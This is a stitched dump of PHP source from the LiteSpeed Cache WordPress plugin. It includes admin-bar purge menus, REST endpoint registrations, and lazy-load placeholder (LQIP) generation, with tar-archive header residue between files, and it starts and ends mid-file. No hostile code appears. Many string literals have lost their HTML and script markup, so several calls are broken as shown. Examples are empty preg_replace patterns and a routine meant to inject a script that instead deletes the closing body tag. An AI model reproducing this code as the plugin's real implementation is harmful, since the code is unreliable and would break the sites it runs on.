=> esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LSCache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cssjs', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'CSS/JS Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CSSJS ), 'meta' => [ 'tabindex' => '0' ], ] ); if ( $this->conf( self::O_CDN_CLOUDFLARE ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cloudflare', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Cloudflare', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( defined( 'LSCWP_OBJECT_CACHE' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-object', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Object Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OBJECT ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( Router::opcache_enabled() ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-opcache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Opcode Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OPCACHE ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ccss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ccss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - CCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CCSS ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ucss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ucss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - UCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_UCSS ), ] ); } if ( $this->has_cache_folder( 'localres' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-localres', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Localized Resources', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LOCALRES ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'lqip' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-placeholder', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LQIP ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'vpi' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-vpi', 'title' => __( 'Purge All', 'litespeed-cache' ) . ' - VPI', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_VPI ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'avatar' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-avatar', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Gravatar Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_AVATAR ), 'meta' => [ 'tabindex' => '0' ], ] ); } do_action( 'litespeed_backend_shortcut' ); } /** * Clear unfinished data link/button. * * @since 2.4.2 * @access public * * @param int $unfinished_num Number of unfinished images. * @return string HTML for action button. */ public static function img_optm_clean_up( $unfinished_num ) { return sprintf( ' %3$s', esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_CLEAN ) ), esc_attr__( 'Remove all previous unfinished image optimization requests.', 'litespeed-cache' ), esc_html__( 'Clean Up Unfinished Data', 'litespeed-cache' ) . ( $unfinished_num ? ': ' . Admin_Display::print_plural( $unfinished_num, 'image' ) : '' ) ); } /** * Generate install link. * * @since 2.4.2 * @access public * * @param string $title Plugin title. * @param string $name Slug. * @param string $v Version (unused, kept for BC). * @return string HTML link. */ public static function plugin_install_link( $title, $name, $v ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $name ), 'install-plugin_' . $name ); $action = sprintf( '%5$s', esc_url( $url ), esc_attr( $name ), esc_attr( $title ), esc_attr( sprintf( __( 'Install %s', 'litespeed-cache' ), $title ) ), esc_html__( 'Install Now', 'litespeed-cache' ) ); return $action; } /** * Generate upgrade link. * * @since 2.4.2 * @access public * * @param string $title Plugin title. * @param string $name Slug. * @param string $v Version string. * @return string HTML message with links. */ public static function plugin_upgrade_link( $title, $name, $v ) { $details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $name . '§ion=changelog&TB_iframe=true&width=600&height=800' ); $file = $name . '/' . $name . '.php'; $msg = sprintf( /* translators: 1: details URL, 2: class/aria, 3: version, 4: update URL, 5: class/aria */ __('View version %3$s details or update now.', 'litespeed-cache'), esc_url( $details_url ), sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"', esc_attr( sprintf( /* translators: 1: plugin title, 2: version */ __( 'View %1$s version %2$s details', 'litespeed-cache' ), $title, $v ) ) ), esc_html( $v ), esc_url( wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $file, 'upgrade-plugin_' . $file ) ), sprintf( 'class="update-link" aria-label="%s"', esc_attr( sprintf( /* translators: %s: plugin title */ __( 'Update %s now', 'litespeed-cache' ), $title ) ) ) ); return $msg; } /** * Finalize buffer by GUI class. * * @since 1.6 * @access public * * @param string $buffer HTML buffer. * @return string Filtered buffer. */ public function finalize( $buffer ) { $buffer = $this->_clean_wrapper( $buffer ); // Maybe restore doc.ref. if ( $this->conf( Base::O_GUEST ) && false !== strpos( $buffer, '' ) && defined( 'LITESPEED_IS_HTML' ) ) { $buffer = $this->_enqueue_guest_docref_js( $buffer ); } if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST && false !== strpos( $buffer, '' ) && defined( 'LITESPEED_IS_HTML' ) ) { $buffer = $this->_enqueue_guest_js( $buffer ); } return $buffer; } /** * Append guest restore doc.ref JS for organic traffic count. * * @since 4.4.6 * * @param string $buffer HTML buffer. * @return string Buffer with inline script injected. */ private function _enqueue_guest_docref_js( $buffer ) { $js_con = File::read( LSCWP_DIR . self::LIB_GUEST_DOCREF_JS ); $buffer = preg_replace( '//', '', $buffer, 1 ); return $buffer; } /** * Append guest JS to update vary. * * @since 4.0 * * @param string $buffer HTML buffer. * @return string Buffer with inline script injected. */ private function _enqueue_guest_js( $buffer ) { $js_con = File::read( LSCWP_DIR . self::LIB_GUEST_JS ); // Build path for guest endpoint using wp_parse_url for compatibility. $guest_update_path = wp_parse_url( LSWCP_PLUGIN_URL . self::PHP_GUEST, PHP_URL_PATH ); $js_con = str_replace( 'litespeed_url', esc_url( $guest_update_path ), $js_con ); $buffer = preg_replace( '/<\/body>/', '', $buffer, 1 ); return $buffer; } /** * Clean wrapper from buffer. * * @since 1.4 * @since 1.6 Converted to private with adding prefix _. * @access private * * @param string $buffer HTML buffer. * @return string Cleaned buffer. */ private function _clean_wrapper( $buffer ) { if ( self::$_clean_counter < 1 ) { self::debug2( 'bypassed by no counter' ); return $buffer; } self::debug2( 'start cleaning counter ' . self::$_clean_counter ); for ( $i = 1; $i <= self::$_clean_counter; $i++ ) { // If miss beginning. $start = strpos( $buffer, self::clean_wrapper_begin( $i ) ); if ( false === $start ) { $buffer = str_replace( self::clean_wrapper_end( $i ), '', $buffer ); self::debug2( "lost beginning wrapper $i" ); continue; } // If miss end. $end_wrapper = self::clean_wrapper_end( $i ); $end = strpos( $buffer, $end_wrapper ); if ( false === $end ) { $buffer = str_replace( self::clean_wrapper_begin( $i ), '', $buffer ); self::debug2( "lost ending wrapper $i" ); continue; } // Now replace wrapped content. $buffer = substr_replace( $buffer, '', $start, $end - $start + strlen( $end_wrapper ) ); self::debug2( "cleaned wrapper $i" ); } return $buffer; } /** * Display a to-be-removed HTML wrapper (begin tag). * * @since 1.4 * @access public * * @param int|false $counter Optional explicit wrapper id; auto-increment if false. * @return string Wrapper begin HTML comment. */ public static function clean_wrapper_begin( $counter = false ) { if ( false === $counter ) { ++self::$_clean_counter; $counter = self::$_clean_counter; self::debug( 'clean wrapper ' . $counter . ' begin' ); } return ''; } /** * Display a to-be-removed HTML wrapper (end tag). * * @since 1.4 * @access public * * @param int|false $counter Optional explicit wrapper id; use latest if false. * @return string Wrapper end HTML comment. */ public static function clean_wrapper_end( $counter = false ) { if ( false === $counter ) { $counter = self::$_clean_counter; self::debug( 'clean wrapper ' . $counter . ' end' ); } return ''; } } rest.cls.php000064400000022125152077520300007015 0ustar00 'POST', 'callback' => [ $this, 'toggle_crawler_state' ], 'permission_callback' => function () { return current_user_can( 'manage_network_options' ) || current_user_can( 'manage_options' ); }, ] ); register_rest_route( 'litespeed/v1', '/tool/check_ip', [ 'methods' => 'GET', 'callback' => [ $this, 'check_ip' ], 'permission_callback' => function () { return current_user_can( 'manage_network_options' ) || current_user_can( 'manage_options' ); }, ] ); register_rest_route( 'litespeed/v1', '/guest/sync', [ 'methods' => 'GET', 'callback' => [ $this, 'guest_sync' ], 'permission_callback' => function () { return current_user_can( 'manage_network_options' ) || current_user_can( 'manage_options' ); }, ] ); // IP callback validate register_rest_route( 'litespeed/v3', '/ip_validate', [ 'methods' => 'POST', 'callback' => [ $this, 'ip_validate' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // 1.2. WP REST Dryrun Callback register_rest_route( 'litespeed/v3', '/wp_rest_echo', [ 'methods' => 'POST', 'callback' => [ $this, 'wp_rest_echo' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v3', '/ping', [ 'methods' => 'POST', 'callback' => [ $this, 'ping' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // CDN setup callback notification register_rest_route( 'litespeed/v3', '/cdn_status', [ 'methods' => 'POST', 'callback' => [ $this, 'cdn_status' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // Image optm notify_img // Need validation register_rest_route( 'litespeed/v1', '/notify_img', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_img' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v1', '/notify_ccss', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_ccss' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v1', '/notify_ucss', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_ucss' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v1', '/notify_vpi', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_vpi' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v3', '/err_domains', [ 'methods' => 'POST', 'callback' => [ $this, 'err_domains' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // Image optm check_img // Need validation register_rest_route( 'litespeed/v1', '/check_img', [ 'methods' => 'POST', 'callback' => [ $this, 'check_img' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); } /** * Call to freeze or melt the crawler clicked * * @since 4.3 */ public function toggle_crawler_state() { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- REST API nonce verified by WordPress $crawler_id = isset( $_POST['crawler_id'] ) ? sanitize_text_field( wp_unslash( $_POST['crawler_id'] ) ) : ''; if ( '' !== $crawler_id ) { return $this->cls( 'Crawler' )->toggle_activeness( $crawler_id ) ? 1 : 0; } } /** * Check if the request is from cloud nodes. * * @since 4.2 * @since 4.4.7 Token/API key validation makes IP validation redundant. * @return bool */ public function is_from_cloud() { return $this->cls( 'Cloud' )->is_from_cloud(); } /** * Ping pong. * * @since 3.0.4 * @return mixed */ public function ping() { return $this->cls( 'Cloud' )->ping(); } /** * Launch IP check. * * @since 3.0 * @return mixed */ public function check_ip() { return Tool::cls()->check_ip(); } /** * Sync Guest Mode IP/UA lists. * * @since 7.7 * @return array */ public function guest_sync() { return Guest::cls()->sync_lists(); } /** * Validate IPs from cloud. * * @since 3.0 * @return mixed */ public function ip_validate() { return $this->cls( 'Cloud' )->ip_validate(); } /** * REST echo helper. * * @since 3.0 * @return mixed */ public function wp_rest_echo() { return $this->cls( 'Cloud' )->wp_rest_echo(); } /** * Endpoint to notify plugin of CDN status updates. * * @since 7.0 * @return mixed */ public function cdn_status() { return $this->cls( 'Cloud' )->update_cdn_status(); } /** * Image optimization notification. * * @since 3.0 * @return mixed */ public function notify_img() { return Img_Optm::cls()->notify_img(); } /** * Critical CSS notification. * * @since 7.1 * @return mixed */ public function notify_ccss() { self::debug( 'notify_ccss' ); return CSS::cls()->notify(); } /** * Unique CSS notification. * * @since 5.2 * @return mixed */ public function notify_ucss() { self::debug( 'notify_ucss' ); return UCSS::cls()->notify(); } /** * Viewport Images notification. * * @since 4.7 * @return mixed */ public function notify_vpi() { self::debug( 'notify_vpi' ); return VPI::cls()->notify(); } /** * Error domain report from cloud. * * @since 4.7 * @return mixed */ public function err_domains() { self::debug( 'err_domains' ); return $this->cls( 'Cloud' )->rest_err_domains(); } /** * Launch image check. * * @since 3.0 * @return mixed */ public function check_img() { return Img_Optm::cls()->check_img(); } /** * Return a standardized error payload. * * @since 5.7.0.1 * @param string|int $code Error code. * @return array */ public static function err( $code ) { return [ '_res' => 'err', '_msg' => $code, ]; } /** * Set internal REST tag to ON. * * @since 2.9.4 * @param mixed $not_used Passthrough value from the filter. * @return mixed */ public function set_internal_rest_on( $not_used = null ) { $this->_internal_rest_status = true; Debug2::debug2( '[REST] ✅ Internal REST ON [filter] rest_request_before_callbacks' ); return $not_used; } /** * Set internal REST tag to OFF. * * @since 2.9.4 * @param mixed $not_used Passthrough value from the filter. * @return mixed */ public function set_internal_rest_off( $not_used = null ) { $this->_internal_rest_status = false; Debug2::debug2( '[REST] ❎ Internal REST OFF [filter] rest_request_after_callbacks' ); return $not_used; } /** * Whether current request is an internal REST call. * * @since 2.9.4 * @return bool */ public function is_internal_rest() { return $this->_internal_rest_status; } /** * Check whether a URL or current page is a REST request. * * @since 2.9.3 * @since 2.9.4 Moved here from Utility, dropped static. * @param string|false $url URL to check; when false checks current request. * @return bool */ public function is_rest( $url = false ) { // For WP 4.4.0- compatibility. if ( ! function_exists( 'rest_get_url_prefix' ) ) { return ( defined( 'REST_REQUEST' ) && REST_REQUEST ); } $prefix = rest_get_url_prefix(); // Case #1: After WP_REST_Request initialization. if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { return true; } // Case #2: Support "plain" permalink settings. // phpcs:ignore WordPress.Security.NonceVerification.Recommended $route = isset( $_GET['rest_route'] ) ? sanitize_text_field( wp_unslash( $_GET['rest_route'] ) ) : ''; if ( $route && 0 === strpos( trim( $route, '\\/' ), $prefix, 0 ) ) { return true; } if ( !$url ) { return false; } // Case #3: URL path begins with wp-json/ (REST prefix) – safe for subfolder installs. $rest_url = wp_parse_url( site_url( $prefix ) ); $current_url = wp_parse_url( $url ); if ( false !== $current_url && ! empty( $current_url['path'] ) && false !== $rest_url && ! empty( $rest_url['path'] ) ) { return 0 === strpos( $current_url['path'], $rest_url['path'] ); } return false; } } placeholder.cls.php000064400000043666152077520300010337 0ustar00 */ private $_placeholder_resp_dict = []; /** * Keys currently queued within this request. * * @var array */ private $_ph_queue = []; /** * Stats & request summary for throttling. * * @var array */ protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $this->_conf_placeholder_resp = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( self::O_MEDIA_PLACEHOLDER_RESP ); $this->_conf_placeholder_resp_svg = $this->conf( self::O_MEDIA_PLACEHOLDER_RESP_SVG ); $this->_conf_lqip = ! defined( 'LITESPEED_GUEST_OPTM' ) && $this->conf( self::O_MEDIA_LQIP ); $this->_conf_lqip_qual = $this->conf( self::O_MEDIA_LQIP_QUAL ); $this->_conf_lqip_min_w = $this->conf( self::O_MEDIA_LQIP_MIN_W ); $this->_conf_lqip_min_h = $this->conf( self::O_MEDIA_LQIP_MIN_H ); $this->_conf_placeholder_resp_async = $this->conf( self::O_MEDIA_PLACEHOLDER_RESP_ASYNC ); $this->_conf_placeholder_resp_color = $this->conf( self::O_MEDIA_PLACEHOLDER_RESP_COLOR ); $this->_conf_ph_default = $this->conf(self::O_MEDIA_LAZY_PLACEHOLDER) ? $this->conf(self::O_MEDIA_LAZY_PLACEHOLDER) : LITESPEED_PLACEHOLDER; $this->_summary = self::get_summary(); } /** * Init Placeholder. */ public function init() { Debug2::debug2( '[LQIP] init' ); add_action( 'litespeed_after_admin_init', [ $this, 'after_admin_init' ] ); } /** * Display column in Media. * * @since 3.0 * @access public */ public function after_admin_init() { if ( $this->_conf_lqip ) { add_filter( 'manage_media_columns', [ $this, 'media_row_title' ] ); add_filter( 'manage_media_custom_column', [ $this, 'media_row_actions' ], 10, 2 ); add_action( 'litespeed_media_row_lqip', [ $this, 'media_row_con' ] ); } } /** * Media Admin Menu -> LQIP column header. * * @since 3.0 * @param array $posts_columns Columns. * @return array */ public function media_row_title( $posts_columns ) { $posts_columns['lqip'] = __( 'LQIP', 'litespeed-cache' ); return $posts_columns; } /** * Media Admin Menu -> LQIP Column renderer trigger. * * @since 3.0 * @param string $column_name Column name. * @param int $post_id Attachment ID. * @return void */ public function media_row_actions( $column_name, $post_id ) { if ( 'lqip' !== $column_name ) { return; } do_action( 'litespeed_media_row_lqip', $post_id ); } /** * Display LQIP column. * * @since 3.0 * @param int $post_id Attachment ID. * @return void */ public function media_row_con( $post_id ) { $meta_value = wp_get_attachment_metadata( $post_id ); if ( empty( $meta_value['file'] ) ) { return; } $total_files = 0; // List all sizes. $all_sizes = [ $meta_value['file'] ]; $size_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; if ( ! empty( $meta_value['sizes'] ) && is_array( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $v ) { if ( ! empty( $v['file'] ) ) { $all_sizes[] = $size_path . $v['file']; } } } foreach ( $all_sizes as $short_path ) { $lqip_folder = LITESPEED_STATIC_DIR . '/lqip/' . $short_path; if ( is_dir( $lqip_folder ) ) { Debug2::debug( '[LQIP] Found folder: ' . $short_path ); // List all files. foreach ( scandir( $lqip_folder ) as $v ) { if ( '.' === $v || '..' === $v ) { continue; } if ( 0 === $total_files ) { $file = Str::trim_quotes( File::read( $lqip_folder . '/' . $v ) ); echo '
      ' .
							esc_attr( sprintf( __( 'LQIP image preview for size %s', 'litespeed-cache' ), $v ) ) .
							'
      '; } echo ''; ++$total_files; } } } if ( 0 === $total_files ) { echo '—'; } } /** * Replace image HTML with placeholder-based lazy version. * * @since 3.0 * @param string $html Original HTML. * @param string $src Image source URL. * @param string $size Requested size (e.g. "300x200"). * @return string Modified HTML. */ public function replace( $html, $src, $size ) { // Check if need to enable responsive placeholder or not. $ph_candidate = $this->_placeholder( $src, $size ); $this_placeholder = $ph_candidate ? $ph_candidate : $this->_conf_ph_default; $additional_attr = ''; if ( $this->_conf_lqip && $this_placeholder !== $this->_conf_ph_default ) { Debug2::debug2( '[LQIP] Use resp LQIP [size] ' . $size ); $additional_attr = ' data-placeholder-resp="' . esc_attr( Str::trim_quotes( $size ) ) . '"'; } $snippet = ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( self::O_OPTM_NOSCRIPT_RM ) ) ? '' : ''; $html = preg_replace( [ '/\s+src=/i', '/\s+srcset=/i', '/\s+sizes=/i', ], [ ' data-src=', ' data-srcset=', ' data-sizes=', ], $html ); $html = preg_replace( '/_conf_placeholder_resp ) { return false; } // If use local generator. if ( ! $this->_conf_lqip || ! $this->_lqip_size_check( $size ) ) { return $this->_generate_placeholder_locally( $size ); } Debug2::debug2( '[LQIP] Resp LQIP process [src] ' . $src . ' [size] ' . $size ); $arr_key = $size . ' ' . $src; // Check if its already in dict or not. if ( ! empty( $this->_placeholder_resp_dict[ $arr_key ] ) ) { Debug2::debug2( '[LQIP] already in dict' ); return $this->_placeholder_resp_dict[ $arr_key ]; } // Need to generate the responsive placeholder. $placeholder_realpath = $this->_placeholder_realpath( $src, $size ); // todo: give offload API. if ( file_exists( $placeholder_realpath ) ) { Debug2::debug2( '[LQIP] file exists' ); $this->_placeholder_resp_dict[ $arr_key ] = File::read( $placeholder_realpath ); return $this->_placeholder_resp_dict[ $arr_key ]; } // Prevent repeated requests in same request. if ( in_array( $arr_key, $this->_ph_queue, true ) ) { Debug2::debug2( '[LQIP] file bypass generating due to in queue' ); return $this->_generate_placeholder_locally( $size ); } $hit = Utility::str_hit_array( $src, $this->conf( self::O_MEDIA_LQIP_EXC ) ); if ( $hit ) { Debug2::debug2( '[LQIP] file bypass generating due to exclude setting [hit] ' . $hit ); return $this->_generate_placeholder_locally( $size ); } $this->_ph_queue[] = $arr_key; // Send request to generate placeholder. if ( ! $this->_conf_placeholder_resp_async ) { // If requested recently, bypass. if ( $this->_summary && ! empty( $this->_summary['curr_request'] ) && ( time() - (int) $this->_summary['curr_request'] ) < 300 ) { Debug2::debug2( '[LQIP] file bypass generating due to interval limit' ); return false; } // Generate immediately. $this->_placeholder_resp_dict[ $arr_key ] = $this->_generate_placeholder( $arr_key ); return $this->_placeholder_resp_dict[ $arr_key ]; } // Prepare default svg placeholder as tmp placeholder. $tmp_placeholder = $this->_generate_placeholder_locally( $size ); // Store it to prepare for cron. $queue = $this->load_queue( 'lqip' ); if ( in_array( $arr_key, $queue, true ) ) { Debug2::debug2( '[LQIP] already in queue' ); return $tmp_placeholder; } if ( count( $queue ) > 500 ) { Debug2::debug2( '[LQIP] queue is full' ); return $tmp_placeholder; } $queue[] = $arr_key; $this->save_queue( 'lqip', $queue ); Debug2::debug( '[LQIP] Added placeholder queue' ); return $tmp_placeholder; } /** * Generate realpath of placeholder file. * * @since 2.5.1 * @access private * @param string $src Image source URL. * @param string $size Size string "WIDTHxHEIGHT". * @return string Absolute file path. */ private function _placeholder_realpath( $src, $size ) { // Use LQIP Cloud generator, each image placeholder will be separately stored. // Compatibility with WebP and AVIF. $src = Utility::drop_webp( $src ); $filepath_prefix = $this->_build_filepath_prefix( 'lqip' ); // External images will use cache folder directly. $domain = wp_parse_url( $src, PHP_URL_HOST ); if ( $domain && ! Utility::internal( $domain ) ) { // todo: need to improve `util:internal()` to include `CDN::internal()` $md5 = md5($src); return LITESPEED_STATIC_DIR . $filepath_prefix . 'remote/' . substr( $md5, 0, 1 ) . '/' . substr( $md5, 1, 1 ) . '/' . $md5 . '.' . $size; } // Drop domain. $short_path = Utility::att_short_path( $src ); return LITESPEED_STATIC_DIR . $filepath_prefix . $short_path . '/' . $size; } /** * Cron placeholder generation. * * @since 2.5.1 * @param bool $do_continue If true, process full queue in one run. * @return void */ public static function cron( $do_continue = false ) { $_instance = self::cls(); $queue = $_instance->load_queue( 'lqip' ); if ( empty( $queue ) ) { return; } // For cron, need to check request interval too. if ( ! $do_continue ) { if ( ! empty( $_instance->_summary['curr_request'] ) && ( time() - (int) $_instance->_summary['curr_request'] ) < 300 ) { Debug2::debug( '[LQIP] Last request not done' ); return; } } foreach ( $queue as $v ) { Debug2::debug( '[LQIP] cron job [size] ' . $v ); $res = $_instance->_generate_placeholder( $v, true ); // Exit queue if out of quota. if ( 'out_of_quota' === $res ) { return; } // Only request first one unless continuing. if ( ! $do_continue ) { return; } } } /** * Generate placeholder locally (SVG). * * @since 3.0 * @access private * @param string $size Size string "WIDTHxHEIGHT". * @return string Data URL for SVG placeholder. */ private function _generate_placeholder_locally( $size ) { Debug2::debug2( '[LQIP] _generate_placeholder local [size] ' . $size ); $size = explode( 'x', $size ); $svg = str_replace( [ '{width}', '{height}', '{color}' ], [ (int) $size[0], (int) $size[1], $this->_conf_placeholder_resp_color ], $this->_conf_placeholder_resp_svg ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode return 'data:image/svg+xml;base64,' . base64_encode( $svg ); } /** * Send to LiteSpeed API to generate placeholder (and persist). * * @since 2.5.1 * @access private * @param string $raw_size_and_src Concatenated "SIZE SRC". * @param bool $from_cron If true, called from cron context. * @return string Data URL placeholder. */ private function _generate_placeholder( $raw_size_and_src, $from_cron = false ) { // Parse containing size and src info. $size_and_src = explode( ' ', $raw_size_and_src, 2 ); $size = $size_and_src[0]; if ( empty( $size_and_src[1] ) ) { $this->_popup_and_save( $raw_size_and_src ); Debug2::debug( '[LQIP] ❌ No src [raw] ' . $raw_size_and_src ); return $this->_generate_placeholder_locally( $size ); } $src = $size_and_src[1]; $file = $this->_placeholder_realpath( $src, $size ); // Local generate SVG to serve (repeated here to clear queue if settings changed). if ( ! $this->_conf_lqip || ! $this->_lqip_size_check( $size ) ) { $data = $this->_generate_placeholder_locally( $size ); } else { $err = false; $allowance = Cloud::cls()->allowance( Cloud::SVC_LQIP, $err ); if ( ! $allowance ) { Debug2::debug( '[LQIP] ❌ No credit: ' . $err ); $err && Admin_Display::error( Error::msg( $err ) ); if ( $from_cron ) { return 'out_of_quota'; } return $this->_generate_placeholder_locally( $size ); } // Generate LQIP. list( $width, $height ) = explode( 'x', $size ); $req_data = [ 'width' => (int) $width, 'height' => (int) $height, 'url' => Utility::drop_webp( $src ), 'quality' => (int) $this->_conf_lqip_qual, ]; // Check if the image is 404 first. if ( File::is_404( $req_data['url'] ) ) { $this->_popup_and_save( $raw_size_and_src, true ); $this->_append_exc( $src ); Debug2::debug( '[LQIP] 404 before request [src] ' . $req_data['url'] ); return $this->_generate_placeholder_locally( $size ); } // Update request status. $this->_summary['curr_request'] = time(); self::save_summary(); $json = Cloud::post( Cloud::SVC_LQIP, $req_data, 120 ); if ( ! is_array( $json ) ) { return $this->_generate_placeholder_locally( $size ); } if ( empty( $json['lqip'] ) || 0 !== strpos( $json['lqip'], 'data:image/svg+xml' ) ) { // Image error, pop up the current queue. $this->_popup_and_save( $raw_size_and_src, true ); $this->_append_exc( $src ); Debug2::debug( '[LQIP] wrong response format', $json ); return $this->_generate_placeholder_locally( $size ); } $data = $json['lqip']; Debug2::debug( '[LQIP] _generate_placeholder LQIP' ); } // Write to file. File::save( $file, $data, true ); // Save summary data. $this->_summary['last_spent'] = time() - (int) $this->_summary['curr_request']; $this->_summary['last_request'] = $this->_summary['curr_request']; $this->_summary['curr_request'] = 0; self::save_summary(); $this->_popup_and_save( $raw_size_and_src ); Debug2::debug( '[LQIP] saved LQIP ' . $file ); return $data; } /** * Check if the size is valid to send LQIP request or not. * * @since 3.0 * @param string $size Size string "WIDTHxHEIGHT". * @return bool True if meets minimums. */ private function _lqip_size_check( $size ) { $size = explode( 'x', $size ); if ( ( (int) $size[0] >= (int) $this->_conf_lqip_min_w ) || ( (int) $size[1] >= (int) $this->_conf_lqip_min_h ) ) { return true; } Debug2::debug2( '[LQIP] Size too small' ); return false; } /** * Add to LQIP exclude list. * * @since 3.4 * @param string $src Image URL. * @return void */ private function _append_exc( $src ) { $val = $this->conf( self::O_MEDIA_LQIP_EXC ); $val[] = $src; $this->cls( 'Conf' )->update( self::O_MEDIA_LQIP_EXC, $val ); Debug2::debug( '[LQIP] Appended to LQIP Excludes [URL] ' . $src ); } /** * Pop up the current request from queue and save. * * @since 3.0 * @param string $raw_size_and_src Concatenated "SIZE SRC". * @param bool $append_to_exc If true, also add to exclusion list. * @return void */ private function _popup_and_save( $raw_size_and_src, $append_to_exc = false ) { $queue = $this->load_queue( 'lqip' ); if ( ! empty( $queue ) && in_array( $raw_size_and_src, $queue, true ) ) { $idx = array_search( $raw_size_and_src, $queue, true ); if ( false !== $idx ) { unset( $queue[ $idx ] ); } } if ( $append_to_exc ) { $size_and_src = explode( ' ', $raw_size_and_src, 2 ); if (isset( $size_and_src[1] ) && $size_and_src[1]) { $this_src = $size_and_src[1]; // Append to lqip exc setting first. $this->_append_exc( $this_src ); // Check if other queues contain this src or not. if ( $queue ) { foreach ( $queue as $k => $raw_item ) { $parsed = explode( ' ', $raw_item, 2 ); if ( empty( $parsed[1] ) ) { continue; } if ( $parsed[1] === $this_src ) { unset( $queue[ $k ] ); } } } } } $this->save_queue( 'lqip', $queue ); } /** * Handle all request actions from main cls. * * @since 2.5.1 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GENERATE: self::cron( true ); break; case self::TYPE_CLEAR_Q: $this->clear_q( 'lqip' ); break; default: break; } Admin::redirect(); } } file.cls.php000064400000025107152077520300006762 0ustar00seek(PHP_INT_MAX); return $file->key() + 1; } /** * Read data from file * * @since 1.1.0 * 